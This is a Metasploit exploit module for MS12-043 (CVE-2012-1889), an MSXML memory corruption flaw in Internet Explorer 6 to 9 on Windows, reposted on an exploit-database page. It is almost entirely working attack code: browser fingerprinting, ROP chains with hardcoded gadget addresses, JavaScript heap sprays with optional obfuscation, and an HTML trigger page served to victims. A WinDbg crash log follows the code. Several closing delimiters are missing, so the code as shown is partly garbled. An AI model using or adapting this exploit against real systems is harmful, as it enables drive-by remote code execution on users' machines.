发布 2012-06-16 漏洞条目

Microsoft XML Core Services – MSXML Uninitialized Memory Corruption (MS12-043) (Metasploit)

Exploit Source

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "6.0",

:ua_maxver => "9.0",

:javascript => true,

:os_name => OperatingSystems::WINDOWS,

:classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}",

:method => "definition",

:rank => GoodRanking

})

def initialize(info={})

super(update_info(info,

'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption",

'Description' => %q{

This module exploits a memory corruption flaw in Microsoft XML Core Services

when trying to access an uninitialized Node with the getDefinition API, which

may corrupt memory allowing remote code execution.

'License' => MSF_LICENSE,

'Author' =>

[

'inking26', # Reliable exploitation

'binjo', # Metasploit module

'sinn3r', # Metasploit module

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2012-1889' ],

[ 'BID', '53934' ],

[ 'OSVDB', '82873'],

[ 'MSB', 'MS12-043'],

[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ],

[ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ],

[ 'URL', 'http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html' ],

[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ]

'Payload' =>

{

'BadChars' => "\x00",

'Space' => 1024

'DefaultOptions' =>

{

'ExitFunction' => "process",

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

# msxml3.dll 8.90.1101.0

[ 'Automatic', {} ],

[

'IE 6 on Windows XP SP3',

{

'Offset' => '0x100',

'Rop' => nil,

'RandomHeap' => false

}

[

'IE 7 on Windows XP SP3 / Vista SP2',

{

'Offset' => '0x100',

'Rop' => nil,

'RandomHeap' => false

}

[

'IE 8 on Windows XP SP3',

{

'Rop' => :msvcrt,

'RandomHeap' => false,

'RopChainOffset' => '0x5f4',

'Offset' => '0x0',

'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll

}

[

'IE 8 with Java 6 on Windows XP SP3',

{

'Rop' => :jre,

'RandomHeap' => false,

'RopChainOffset' => '0x5f4',

'Offset' => '0x0',

'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll

}

[

'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',

{

'Rop' => :jre,

'RandomHeap' => false,

'RopChainOffset' => '0x5f4',

'Offset' => '0x0',

'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll

}

[

'IE 9 with Java 6 on Windows 7 SP1',

{

'Rop' => :jre,

'RandomHeap' => true,

'RopChainOffset' => 0x5FC,

'Offset' => '0x0',

'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll

}

]

'Privileged' => false,

'DisclosureDate' => "Jun 12 2012",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/

return targets[1] #IE 6 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/

return targets[2] #IE 7 on Windows XP SP3

elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/

return targets[2] #IE 7 on Windows Vista SP2

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/

return targets[3] #IE 8 on Windows XP SP3

elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/

return targets[5] #IE 8 on Windows 7 SP1/Vista SP2

elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/

return targets[6] #IE 9 on Windows 7 SP1

else

return nil

end

def ret(t)

case t['Rop']

when :msvcrt

return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll

when :jre

return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll

end

def popret(t)

case t['Rop']

when :msvcrt

return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll

when :jre

return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll

end

def get_rop_chain(t)

if t['RandomHeap']

adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c

adjust << ret(t)

else

adjust = ret(t)

end

adjust << popret(t)

adjust << [ t['StackPivot'] ].pack("V")

adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :)

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust})

else

print_status("Using JRE ROP")

rop = generate_rop_payload('java','',{'pivot'=>adjust})

end

return rop

end

def get_easy_spray(t, js_code, js_nops)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var z=1; z < 0x230; z++) {

heap_obj.alloc(block);

}

return spray

end

def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

var nops_90 = unescape("#{js_90_nops}");

var rop_chain = unescape("#{js_rop}");

while (nops.length < 0x80000) nops += nops;

while (nops_90.length < 0x80000) nops_90 += nops_90;

var offset = nops.substring(0, #{t['Offset']});

var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);

var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var z=1; z < 0x230; z++) {

heap_obj.alloc(block);

}

return spray

end

# Spray published by corelanc0d3r

# Exploit writing tutorial part 11 : Heap Spraying Demystified

# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

def get_random_spray(t, js_rop, js_code, js_90_nops)

spray = <<-JS

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

var heap_obj = new heapLib.ie(0x10000);

var rop = unescape("#{js_rop}");

var code = unescape("#{js_code}");

var nops_90 = unescape("#{js_90_nops}");

while (nops_90.length < 0x80000) nops_90 += nops_90;

var offset_length = #{t['RopChainOffset']};

for (var i=0; i < 0x1000; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length - code.length);

var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

return spray

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")

send_not_found(cli)

return

end

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

if not my_target['Rop'].nil?

js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))

end

if my_target['RandomHeap']

js = get_random_spray(my_target, js_rop, js_code, js_90_nops)

elsif not my_target['Rop'].nil?

js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)

else

js = get_easy_spray(my_target, js_code, js_nops)

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

object_id = rand_text_alpha(4)

html = <<-EOS

<html>

<head>

#{js}

</script>

</head>

<body>

var obj = document.getElementById('#{object_id}').object;

var src = unescape("%u0c08%u0c0c");

while (src.length < 0x1002) src += src;

src = "https://www.exploit-db.com/exploits/19186/\\\\\\\\xxx" + src;

src = src.substr(0, 0x1000 - 10);

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;

obj.definition(#{rand(999) + 1});

</script>

</body>

</html>

EOS

html = html.gsub(/^ {4}/, '')

print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

=begin

(e34.358): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=7498670c ebx=00000000 ecx=5f5ec68b edx=00000001 esi=7498670c edi=0013e350

eip=749bd772 esp=0013e010 ebp=0013e14c iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

msxml3!_dispatchImpl::InvokeHelper+0xb4:

749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:5f5ec6a3=????????

0:008> r

eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528

eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

msxml3!_dispatchImpl::InvokeHelper+0xb4:

749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:00000018=????????

0:008> k

ChildEBP RetAddr

020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4

020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e

020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa

020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50

020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa

020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d

020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8

020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a

020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98

020bf590 633a77ff jscript!VAR::InvokeByName+0x135

020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a

020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce

020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989

020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff

020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f

020bf958 633891f1 jscript!CSession::Execute+0x175

020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0

020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a

020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30

020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219

=end

作者: Metasploit
日期: 2012-06-16
类别: remote
平台: windows

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